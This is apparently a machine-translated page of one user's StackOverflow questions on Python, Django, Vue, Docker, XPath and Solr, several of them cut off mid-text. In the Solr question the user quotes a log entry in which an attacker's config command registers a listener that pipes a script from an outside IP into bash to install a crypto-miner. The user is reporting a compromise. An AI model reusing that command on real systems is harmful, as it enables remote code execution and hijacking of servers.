当出现任何错误\异常时,我需要停止\ kill所有进程.我发现在StackOwerflow解决方案中使用了所有进程psutil,但是我不时会遇到问题 - 当psutil杀死子进程和主进程时,可能会启动新进程并继续执行代码.
import psutil
class MyClass:
parent_pid = 0
ids_list = range(300)
def main(self):
self.parent_pid = os.getpid()
pool = multiprocessing.Pool(3)
for osm_id in self.ids_list:
pool.apply_async(self.handle_country_or_region,
kwds=dict(country_id=osm_id),
error_callback=self.kill_proc_tree)
pool.close()
pool.join()
def kill_proc_tree(self, including_parent=True):
parent = psutil.Process(self.parent_pid)
children = parent.children(recursive=True)
for child in children:
child.kill()
psutil.wait_procs(children, timeout=5)
if including_parent:
parent.kill()
parent.wait(5)
def handle_country_or_region(self, country_id=None, queue=None):
pass
# here I do some task
Run Code Online (Sandbox Code Playgroud)
似乎我需要终止池而不是终止进程,但在这种情况下,如果我这样做
pool.close()
pool.terminate()
pool.join()
Run Code Online (Sandbox Code Playgroud)
我的终端停止做任何事情,新线路完全为空(即没有">>>")并且没有任何反应.
理想情况下,我希望有下一个流程:如果有任何错误\例外,请停止\ kill所有代码执行并返回终端中的交互式提示.
谁能帮助我让它正常工作?我使用Python 3.5和Ubuntu 15.10
算法:
data[1-5]someDataToShowInModal.问题:如何等到用户点击模态的 OK 或 CANCEL 按钮?
在代码中我展示了两种可能的解决方案,但不知道如何实现它们:
将模态包装到 Promise 中。
使用state.doSave并以某种方式等到它被更改myModalComponent。
如果用户单击“确定”,则应用更改。
下面是伪代码,显示了我尝试实现的逻辑:
状态.js
modalTextSummary = {}
Run Code Online (Sandbox Code Playgroud)
动作.js
async myAction ({ state }) {
let modalClosed
let someDataToShowInModal = {}
let data1 = []
let data2 = []
let data3 = []
let data4 = []
let data5 = []
// #1. Push difference to "data[1-5]"
data1.push(xyz1)
data2.push(xyz2)
data3.push(xyz3)
data4.push(xyz4)
data5.push(xyz5)
// #2. Based on data[1-5] prepare "someDataToShowInModal"
someDataToShowInModal …Run Code Online (Sandbox Code Playgroud) 我正在尝试针对 iPad 优化我的网站。您能否指导我最好的方法:
关于我是否应该仅通过 CSS 分离桌面/ipad 还是重定向到完全不同的域(例如 mysite.com/ipad)
如何在 iPad 模拟器上进行测试?我应该使用 XCode 进行开发吗?
请帮助我提供一些好的在线教程。谢谢。
我使用 django-oscar + Solr + haystack。
*===============================================================================================================*
| id | partner_sku|price_currency|price_excl_tax|num_in_stock|date_created|date_updated|partner_id|product_id|
|"10451"|"S0010436" | "USD" | 74.00 | 20 |'some_date' |'some_date' | 1 | 5992 |
|"10452"|"S0010436" | "USD" | 80.00 | 0 |'some_date' |'some_date' | 2 | 5992 |
*===============================================================================================================*
Run Code Online (Sandbox Code Playgroud)
我只想索引那些 所在的行partner_id=2。index_queryset下面没有做我需要的,因为其他合作伙伴也索引了。
class ProductIndexes(CelerySearchIndex, indexes.Indexable):
text = indexes.EdgeNgramField(
document=True, use_template=True,
template_name='search/indexes/cpu/item_text.txt')
upc = indexes.CharField(model_attr="upc", null=True)
title = indexes.CharField(model_attr='title', null=True)
# Fields for faceting
product_class = indexes.CharField(null=True, faceted=True)
category = indexes.MultiValueField(null=True, faceted=True)
partner = indexes.MultiValueField(null=True, faceted=True)
price …Run Code Online (Sandbox Code Playgroud) 我有下一个表达式:
population = tree.xpath('(//tr/td/b/a[contains(text(), "Population")]/../../following-sibling::td/span/following-sibling::text())[1] or'
'//tr/td/b/a[contains(text(), "Population")]/../../following-sibling::td/span/text())
Run Code Online (Sandbox Code Playgroud)
返回'True'.
如果我使用"|" 而不是'或',它组合了第一和第二路径的值,就像这样['11 061 886', '?'].
如何使逻辑像:
If the 1st path exists:
get the 1st value
elif the 2nd path exists:
get the 2nd value
else:
pass
Run Code Online (Sandbox Code Playgroud)
?
我明白这很简单,但找不到答案.
我用docker-composewhich ups一个栈。
相关代码:
db:
build: ./dockerfiles/postgres
container_name: postgres-container
volumes:
- ./dockerfiles/postgres/pgdata:/var/lib/postgresql/data
- ./dockerfiles/postgres/backups:/pg_backups
Run Code Online (Sandbox Code Playgroud)
Postgres 的 Dockerfile:
FROM postgres:latest
RUN mkdir /pg_backups && > /etc/cron.d/pg_backup-cron && echo "00 22 * * * /backup.sh" >> /etc/cron.d/pg_backup-cron
ADD ./backup.sh /
RUN chmod +x /backup.sh
Run Code Online (Sandbox Code Playgroud)
备份文件
#!/bin/sh
# Dump DBs
now=$(date +"%d-%m-%Y_%H-%M")
pg_dump -h db -U postgres -d postgres > "/pg_backups/db_dump_$now.sql"
# remove all files (type f) modified longer than 30 days ago under /pg_backups
find /pg_backups -name "*.sql" -type f -mtime …Run Code Online (Sandbox Code Playgroud) 例如,有这样的手机:
phones = '+35(123) 456 78 90 (123) 555 55 55 (908)985 88 89 (593)592 56 95'
Run Code Online (Sandbox Code Playgroud)
我需要得到:
phones_list = ['+35(123) 456 78 90', '(123) 555 55 55', '(908)985 88 89', (593)592 56 95]
Run Code Online (Sandbox Code Playgroud)
试图解决使用re,但对我来说是一项艰巨的任务.
史前史:
docker.htop告诉我所有核心都是由/var/tmp/sustes用户加载过程100%8983.试图找出是什么sustes,但谷歌没有帮助,但8983告诉Solr容器中的问题.试图Solr从v6 更新.?到7.4并得到消息:
o.a.s.c.SolrCore Error while closing
...
Caused by: org.apache.solr.common.SolrException: Error loading class
'solr.RunExecutableListener'
回到v6.6.4(作为docker-hub上唯一可用的v6 https://hub.docker.com/_/solr/),因为站点应该继续工作.
在Dockers日志中我发现:
[x:default] o.a.s.c.S.SolrConfigHandler Executed config commands successfully and persited to File System [{"update-listener":{
"exe":"sh",
"name":"newlistener-02",
"args":[
-"c",
"curl -s http://192.99.142.226:8220/mr.sh | bash -sh"],
"event":"newSearcher",
"class":"solr.RunExecutableListener",
"dir":"/bin/"}}]
因此,在http://192.99.142.226:8220/mr.sh我们可以发现恶意代码安装加密矿工(加密矿工配置:http://192.99.142.226:8220/wt.conf).
使用链接http://example.com:8983/solr/YOUR_CORE_NAME/config我们可以找到完整的配置,但是现在我们只需要以下listener部分:
"listener":[{
"event":"newSearcher",
"class":"solr.QuerySenderListener",
"queries":[]},
{
"event":"firstSearcher", …
我使用 Django 2.2 和 PostgreSQL 12。
这是我的模型:
from django.contrib.postgres.search import SearchVectorField, SearchVector
from django.contrib.postgres.fields import JSONField
class ProfileUser(models.Model):
name = JSONField()
search_vector = SearchVectorField(null=True)
class Meta:
indexes = [
GinIndex(fields=['search_vector'], name='user_full_name_gin_idx')
]
def save(self, *args, **kwargs):
super(ProfileUser, self).save(*args, **kwargs)
ProfileUser.objects.update(search_vector=SearchVector('name'))
Run Code Online (Sandbox Code Playgroud)
我在这里创建一个新用户并尝试找到它:
from apps.profiles.models import ProfileUser
from django.contrib.postgres.search import SearchVector
ProfileUser.objects.create(name=[{'name': 'SomeUser', 'lang': 'en'}])
ProfileUser.objects.annotate(search=SearchVector('name')).filter(search__icontains='someuser').explain()
Run Code Online (Sandbox Code Playgroud)
结果:
“对 profile_user 进行顺序扫描(成本=0.00..81.75 行=1 宽度=316)\n 过滤器:(upper((to_tsvector(COALESCE((name)::text, ''::text)))::text) ~~'%someuser%'::text)"
如何使索引工作?
编辑:
作为对 @ivissani 评论的回应,我添加了 5000 个用户并尝试.filter(search__icontains='someuser')-.filter(search_vector__icontains='someuser')同样的故事 ->Seq Scan
我有一个固定的导航,我想添加下拉框,用户可以在其中单挑\(如Twitter使用).
我试过了:
# project/tempates/signup.html
{% load i18n %}
{% load account socialaccount %}
{% block head_title %}{% trans "Signup" %}{% endblock %}
{% block content %}
<h1>{% trans "Sign Up" %}</h1>
<p>{% blocktrans %}Already have an account? Then please <a href="{{ login_url }}">sign in</a>.{% endblocktrans %}</p>
<form class="signup" id="signup_form" method="post" action="{% url 'account_signup' %}">
{% csrf_token %}
{{ signupform.as_p }}
{% if redirect_field_value %}
<input type="hidden" name="{{ redirect_field_name }}" value="{{ redirect_field_value }}" />
{% endif %}
<button type="submit">{% trans "Sign …Run Code Online (Sandbox Code Playgroud) 我有2个文件.我知道如何调用一个函数,但是无法理解从导入模块中调用一个方法的方法,该模块将"self"作为第一个参数.
我收到了这个错误:
TypeError:prepare()缺少1个必需的位置参数:'url'
cinemas.py
import requests
from lxml.html import fromstring
class cinemas_info():
def __init__(self, url):
self.basic_cinemas_info(url)
def prepare(self, url):
url = requests.get(url)
tree = fromstring(url.text)
tree.make_links_absolute(url.url)
return tree
def basic_cinemas_info(self, url):
tree = self.prepare(url)
for city in tree.xpath(".//div[@class='city-caption']"):
city1 = city.xpath("text()")[0]
for cinema in city.xpath("following-sibling::*[1]/li/a"):
name1 = cinema.xpath("text()")[0]
detailed_url = cinema.xpath("@href")[0]
print (city1.strip(), name1.strip(), ':')
self.detailed_cinemas_info(detailed_url)
self.detailed_cinemas_films(detailed_url)
def detailed_cinemas_info(self, url):
tree = self.prepare(url)
for street in tree.xpath(".//div[@class='address']"):
street1 = street.xpath("text()")[0]
for phone in tree.xpath(".//div[@class='phone']"):
phone1 = phone.xpath("text()")[0]
for website in …Run Code Online (Sandbox Code Playgroud) django ×3
python ×3
javascript ×2
postgresql ×2
python-3.x ×2
solr ×2
bootstrap-4 ×1
class ×1
cron ×1
django-oscar ×1
docker ×1
html ×1
import ×1
indexing ×1
ios ×1
ipad ×1
methods ×1
regex ×1
security ×1
self ×1
vuejs2 ×1
vuex ×1
xml ×1
xpath ×1